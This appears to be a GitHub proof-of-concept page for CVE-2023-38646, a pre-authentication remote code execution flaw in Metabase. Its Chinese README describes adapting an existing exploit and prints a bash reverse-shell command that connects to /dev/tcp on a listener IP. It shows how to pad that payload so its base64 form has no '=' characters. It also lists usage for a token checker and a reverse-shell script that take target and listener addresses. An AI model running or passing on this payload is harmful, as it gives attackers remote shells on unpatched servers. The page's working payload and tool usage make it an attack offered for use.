CVE-2023-38646 PoC — Metabase 安全漏洞

Source

Associated Vulnerability

Readme

# CVE-2023-38646

原始脚本来源于[securezeron](https://github.com/securezeron/CVE-2023-38646)

我在测试过程中发现该poc生成的反向shell在经过base6编码后因为末尾的'='字符导致利用失败。对它稍作修改解决了这个问题。

```python
#原始的生成reverse shell负载的代码
>>> base64.b64encode("bash -i >&/dev/tcp/10.10.14.59/8080 0>&1".encode()).decode()
'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=='

#修改后的生成reverse shell负载的代码没有‘=’
>>> base64.b64encode("bash -i > &/dev/tcp/10.10.14.59/8080 0>&1 ".encode()).decode()
'YmFzaCAtaSA+ICYvZGV2L3RjcC8xMC4xMC4xNC41OS84MDgwIDA+JjEg'
```

## 用法

```bash
└─# python CVE-2023-38646-POC.py -h                                                                           
usage: CVE-2023-38646-POC.py [-h] [--ip IP] [--list LIST]

Check setup token

options:
  -h, --help   show this help message and exit
  --ip IP      IP address
  --list LIST  Filename containing list of IP addresses
                                                                                                                    

└─# python CVE-2023-38646-Reverse-Shell.py -h                                                                 
usage: CVE-2023-38646-Reverse-Shell.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]

Check setup token

options:
  -h, --help     show this help message and exit
  --rhost RHOST  Metabase server IP address (including http:// or https:// and port number if needed)
  --lhost LHOST  Listener IP address
  --lport LPORT  Listener port (default is 4444)

```


有关漏洞相信信息查看 [https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)

File Snapshot

 [4.0K]  /data/pocs/5fe7c67f975280f36479e3e33ab1b7052fcb5f7c
├── [2.0K]  CVE-2023-38646-POC.py
├── [4.0K]  CVE-2023-38646-Reverse-Shell.py
└── [1.7K]  README.md

0 directories, 3 files

Remarks